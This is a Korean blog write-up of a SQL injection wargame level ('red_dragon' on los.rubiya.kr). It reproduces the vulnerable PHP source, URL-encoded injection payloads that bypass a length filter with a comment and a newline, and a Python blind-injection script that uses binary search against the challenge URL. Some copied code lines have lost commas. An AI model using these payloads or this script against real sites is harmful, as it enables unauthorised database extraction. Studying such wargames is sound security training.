반응형
반응형
반응형

red_dragon

빨간 용용이

 

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i'$_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
 
  $query = "select no from prob_red_dragon where id='admin'"// if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'=== $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>
cs

 

 

if(strlen($_GET['id']) > 7) exit("too long string");

 

id의 길이가 7보다 크면 안된다.

 

 

 

$no = is_numeric($_GET['no']) ? $_GET['no'] : 1;

 

?는 if와 의미가 같다.  조건 ? True : False

 

no의 값이 숫자가 아니면 1을 반환한다.

 

 

 

 $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");

 

id가 admin인 것의 no값을 가져와서 입력한 no값과 같으면 된다.

 

 

 

 

 

 

id=admin'%23 으로 입력해주면 쿼리가

query : select id from prob_red_dragon where id='admin'#' and no=1 로 되어서 admin이 나온다.

 

 

이제 no값을 찾아내야 한다.

 

쿼리에 && no>10 이런 형태를 유도해야한다.

 

id에 넣을 값을 줄여볼까..

 

 

 

 

 

 

#은 한줄 주석임을 이용해서 and no=을 날려주고

 

id에 '|| no> 을 넣고 no에 \n1을 넣어주면 쿼리가 id=''||no>1이 될 것이다.

 

 

 

id=%27||no>%23&no=%0a1

query : select id from prob_red_dragon where id=''||no>#' and no= 1

 

 

hello admin이 잘 튀어나온다. 이걸로 범위를 구해보자

 

 

 

 

 

 

최대범위

query : select id from prob_red_dragon where id=''||no<#' and no= 1000000000

 

최소범위

query : select id from prob_red_dragon where id=''||no>#' and no= 100000000

 

 

 

저번에 사용했던 이진탐색 알고리즘을 또 우려먹자!

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "'||no>#"
    payload = urllib.quote(payload)
    payload = payload + "&no=%0a"+str(val)
    url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?id="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,1):
    k = binary_search_recursion(100000000,1000000000, i)
    key+=str(hex(k))
print key
 
cs

 

마지막 값에 1 더하면 그게 no값이다.

반응형

+ Recent posts